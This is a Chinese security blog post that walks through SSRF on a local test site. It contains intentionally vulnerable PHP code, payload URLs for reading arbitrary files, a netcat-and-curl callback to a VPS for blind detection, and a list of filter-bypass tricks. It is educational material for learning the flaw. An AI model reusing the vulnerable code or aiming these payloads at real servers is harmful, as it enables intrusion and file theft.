web安全-SSRF的复现与研究

举报
亿人安全 发表于 2023/05/27 14:16:07 2023/05/27
【摘要】 0x00 什么是SSRFSSRF,中文名叫服务端请求伪造漏洞,利用漏洞可以发起网络请求来攻击内网服务0x01 用途SSRF 探测内网信息SSRF 导致命令执行file://协议读取本地文件攻击内外网web服务0x02 相关函数file_get_contents()<?phpif(isset($_GET['url'])){ $content=file_get_contents($_GET...

0x00 什么是SSRF

SSRF,中文名叫服务端请求伪造漏洞,利用漏洞可以发起网络请求来攻击内网服务

0x01 用途

  • SSRF 探测内网信息
  • SSRF 导致命令执行
  • file://协议读取本地文件
  • 攻击内外网web服务

0x02 相关函数

  • file_get_contents()
<?php
if(isset($_GET['url']))
{
    $content=file_get_contents($_GET['url']);
    $filename=rand().'.img';
    file_put_contents($filename,$content);
    echo $_GET['url'];
    $img="<img src=\"".$filename."\"/>";
    
}
echo $img;
?>
  • fsockopen()
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>
  • curl_exec()

可以使用file://绝对路径/文件 来达到任意文件读取

dict、gopher协议来探测端口

<?php
if(isset($_GET['url']))
{
    $link=$_GET['url'];
    //$filename='./'.rand().'.txt';
    $curlobj=curl_init($link);
    curl_setopt($curlobj,CURLOPT_FILE,$link);
    curl_setopt($curlobj,CURLOPT_HEADER,0);
    $result=curl_exec($curlobj);
    curl_exec($curlobj);
    curl_close($curlobj);
    //fclose($link);
    //file_put_contents($filename, $result); 
    echo $result;
}

?>

0x03 SSRF演练

最简单的验证SSRF

<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

然后构造url:

http://www.test.cc/ssrf.php?url=www.baidu.com

访问之后

可以看到地址栏还是没有改变,但是响应的内容已经是百度的了。

这就是个很经典的有回显的SSRF漏洞

SSRF导致的任意文件读取

测试代码1:

<?php
if(isset($_GET['url']))
{
    $content=file_get_contents($_GET['url']);
    $filename=rand().'.img';
    file_put_contents($filename,$content);
    echo $_GET['url'];
    $img="<img src=\"".$filename."\"/>";
    
}
echo $img;
?>

测试代码2:

<?php
if(isset($_GET['url']))
{
    $link=$_GET['url'];
    //$filename='./'.rand().'.txt';
    $curlobj=curl_init($link);
    curl_setopt($curlobj,CURLOPT_FILE,$link);
    curl_setopt($curlobj,CURLOPT_HEADER,0);
    $result=curl_exec($curlobj);
    curl_exec($curlobj);
    curl_close($curlobj);
    //fclose($link);
    //file_put_contents($filename, $result); 
    echo $result;
}

?>


使用file://绝对路径/文件名 读取任意文件

当我们用这段代码的时候,构造payload:

http://www.test.cc/ssrf2.php?url=D:/phpStudy/WWW/test/ssrf.php

就会在当前目录生成一个xxx.img的文件,这个文件里面就是url参数后面的文件内容

然后右键打开这个图片,成功看到源代码

无回显的SSRF 验证

  • curl

1.本机vps :nc -lvp 9000
2.目标站点:curl vps:9000

  • dnslog平台
  1. ceye.io

  2. re.chinacycc.com

0x04 SSRF的绕过方法

  • 用@进行绕过,例如http://example.com@127.0.0.1
  • 用localhost进行绕过,例如:http://127.0.0.1:80
  • 利用短网址进行绕过。
  • 利用特殊域名进行绕过。例如127.0.0.1.xip.io(实际访问的还是1270.0.1)
  • DNS解析绕过。
  • 添加端口
  • 利用。绕过 例如:http://127。0。0。1
  • 使用进制转换进行绕过。(10进制,八进制,十六进制)
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。